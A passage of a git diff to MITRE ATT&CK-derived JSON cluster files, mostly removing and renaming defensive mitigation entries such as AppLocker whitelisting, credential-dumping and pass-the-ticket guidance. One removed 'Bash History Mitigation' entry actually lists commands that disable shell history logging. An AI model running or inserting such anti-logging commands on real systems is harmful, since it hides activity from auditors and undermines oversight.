monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1099", + "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + ], + "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + "value": "Timestomp" } ], "version": 4 diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index b3bcaf0..8b6ecd5 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -10,18 +10,11 @@ "uuid": "a8825ae8-6dea-11e7-8d57-7728f3cfe086", "values": [ { - "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].", + "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "78bd8956-5bc8-4532-ba98-ddb2764ae22b" + "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a" }, - "value": "Login Item Mitigation" - }, - { - "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e" - }, - "value": "Component Object Model Hijacking Mitigation" + "value": "Registry Run Keys / Start Folder Mitigation" }, { "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", @@ -30,145 +23,12 @@ }, "value": "Exfiltration Over Command and Control Channel Mitigation" }, - { - "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", - "meta": { - "uuid": "59603b01-063c-4ddc-b444-9545cda4d8ed" - }, - "value": ".bash_profile and .bashrc Mitigation" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. \n\nIdentify or block potentially malicious software that may contain DLL injection functionality by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7" - }, - "value": "DLL Injection Mitigation" - }, - { - "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [[Technique/T1038|DLL Search Order Hijacking]]. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.[[CiteRef::Github UACMe]]", - "meta": { - "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f" - }, - "value": "Bypass User Account Control Mitigation" - }, - { - "description": "Audit and/or block command-line interpreters by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04" - }, - "value": "Command-Line Interface Mitigation" - }, - { - "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", - "meta": { - "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04" - }, - "value": "DLL Search Order Hijacking Mitigation" - }, - { - "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe" - }, - "value": "Uncommonly Used Port Mitigation" - }, - { - "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.", - "meta": { - "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a" - }, - "value": "Regsvcs/Regasm Mitigation" - }, - { - "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", - "meta": { - "uuid": "c88151a5-fe3f-4773-8147-d801587065a4" - }, - "value": "Application Deployment Software Mitigation" - }, { "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", "meta": { - "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95" + "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3" }, - "value": "Commonly Used Port Mitigation" - }, - { - "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", - "meta": { - "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf" - }, - "value": "Windows Management Instrumentation Mitigation" - }, - { - "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them[[CiteRef::Microsoft CreateProcess]]. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate[[CiteRef::MSDN DLL Security]]. Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations[[CiteRef::Kanthak Sentinel]]. \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies,[[CiteRef::Corio 2008]] that are capable of auditing and/or blocking unknown executables.", - "meta": { - "uuid": "e0703d4f-3972-424a-8277-84004817e024" - }, - "value": "Path Interception Mitigation" - }, - { - "description": "Prevent adversaries from gaining access to credentials through [[Credential Access]] that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] and Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d" - }, - "value": "Graphical User Interface Mitigation" - }, - { - "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5" - }, - "value": "NTFS Extended Attributes Mitigation" - }, - { - "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271" - }, - "value": "Indicator Removal from Tools Mitigation" - }, - { - "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf" - }, - "value": "Clipboard Data Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a" - }, - "value": "Registry Run Keys / Start Folder Mitigation" - }, - { - "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52" - }, - "value": "Multi-Stage Channels Mitigation" - }, - { - "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", - "meta": { - "uuid": "78478093-6ff7-48c8-8220-d56843543cd4" - }, - "value": "Hidden Users Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd" - }, - "value": "Data Staged Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "39706d54-0d06-4a25-816a-78cc43455100" - }, - "value": "Data from Removable Media Mitigation" + "value": "Custom Command and Control Protocol Mitigation" }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", @@ -178,550 +38,11 @@ "value": "Data from Network Shared Drive Mitigation" }, { - "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]].\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]", "meta": { - "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425" + "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259" }, - "value": "Account Manipulation Mitigation" - }, - { - "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.", - "meta": { - "uuid": "231540df-ee71-46ca-a686-8800157b99bf" - }, - "value": "AppleScript Mitigation" - }, - { - "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.[[CiteRef::Netspi PowerShell Execution Policy Bypass]] Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", - "meta": { - "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2" - }, - "value": "PowerShell Mitigation" - }, - { - "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [[Technique/T1155|AppleScript]].", - "meta": { - "uuid": "88b94229-62da-418f-8330-edf8fa26013e" - }, - "value": "Input Prompt Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67" - }, - "value": "System Information Discovery Mitigation" - }, - { - "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", - "meta": { - "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3" - }, - "value": "Winlogon Helper DLL Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by Windows utilities like AppLocker.[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]]", - "meta": { - "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec" - }, - "value": "Netsh Helper DLL Mitigation" - }, - { - "description": "Follow best practices for mitigation of activity related to establishing [[Technique/T1077|Windows Admin Shares]]. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb" - }, - "value": "Network Share Connection Removal Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8" - }, - "value": "Connection Proxy Mitigation" - }, - { - "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", - "meta": { - "uuid": "5448330d-7911-4604-9410-7e6a7dcec1c9" - }, - "value": "Hidden Files and Directories Mitigation" - }, - { - "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros.[[CiteRef::TechNet Office Macro Security]]\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring [[Privilege Escalation]].[[CiteRef::Palo Alto Office Test Sofacy]]\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.[[CiteRef::MRWLabs Office Persistence Add-ins]]", - "meta": { - "uuid": "a0714f91-88ca-4b18-8094-c40849d314c6" - }, - "value": "Office Application Startup Mitigation" - }, - { - "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", - "meta": { - "uuid": "24e1d561-0e21-4933-8276-62256e430fcd" - }, - "value": "Bash History Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b" - }, - "value": "Application Window Discovery Mitigation" - }, - { - "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [[Technique/T1078|Valid Accounts]].", - "meta": { - "uuid": "29e04ce7-731f-4cc6-ae47-6059ecaa1592" - }, - "value": "Private Keys Mitigation" - }, - { - "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", - "meta": { - "uuid": "7dd3e094-a828-4d2c-bf62-6b8e0f285d98" - }, - "value": "Source Mitigation" - }, - { - "description": "Prevent users from changing the HISTCONTROL environment variable[[CiteRef::Securing bash history]]. Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.", - "meta": { - "uuid": "d684a482-645d-4ad9-8a3e-78ca61e188d6" - }, - "value": "HISTCONTROL Mitigation" - }, - { - "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [[Technique/T1111|Two-Factor Authentication Interception]] techniques for some two-factor authentication implementations.", - "meta": { - "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2" - }, - "value": "External Remote Services Mitigation" - }, - { - "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", - "meta": { - "uuid": "a38901d2-54e8-441b-8e70-e4d8c9e558a6" - }, - "value": "LC_MAIN Hijacking Mitigation" - }, - { - "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [[Technique/T1078|Valid Accounts]]. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform [[Lateral Movement]] between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", - "meta": { - "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e" - }, - "value": "Pass the Hash Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97" - }, - "value": "Account Discovery Mitigation" - }, - { - "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", - "meta": { - "uuid": "a3b9f15d-fcc4-40d6-b1f4-3af88115ae11" - }, - "value": "Trap Mitigation" - }, - { - "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries.[[CiteRef::Microsoft GitHub Device Guard CI Policies]][[CiteRef::Exploit Monday Mitigate Device Guard Bypases]][[CiteRef::GitHub mattifestation DeviceGuardBypass]][[CiteRef::SubTee MSBuild]]", - "meta": { - "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0" - }, - "value": "Trusted Developer Utilities Mitigation" - }, - { - "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.[[CiteRef::ADSecurity AD Kerberos Attacks]]\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.[[CiteRef::CERT-EU Golden Ticket Protection]]\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d" - }, - "value": "Pass the Ticket Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44" - }, - "value": "System Owner/User Discovery Mitigation" - }, - { - "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [[Technique/T1078|Valid Accounts]] if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.[[CiteRef::Microsoft LSA]]\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements.[[CiteRef::TechNet Credential Guard]] It also does not protect against all forms of credential dumping.[[CiteRef::GitHub SHB Credential Guard]]", - "meta": { - "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a" - }, - "value": "Credential Dumping Mitigation" - }, - { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", - "meta": { - "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432" - }, - "value": "Regsvr32 Mitigation" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43" - }, - "value": "Process Hollowing Mitigation" - }, - { - "description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", - "meta": { - "uuid": "eba326ab-299e-41b9-8c75-9a6b3f7bfc04" - }, - "value": "Sudo Mitigation" - }, - { - "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", - "meta": { - "uuid": "be8a4233-475d-4980-9825-1bb375775637" - }, - "value": "Rc.common Mitigation" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8" - }, - "value": "Execution through API Mitigation" - }, - { - "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "f0a42cad-9b1f-44da-a672-718f18381018" - }, - "value": "Taint Shared Content Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e" - }, - "value": "Redundant Access Mitigation" - }, - { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting[[CiteRef::Beechey 2010]] tools, like 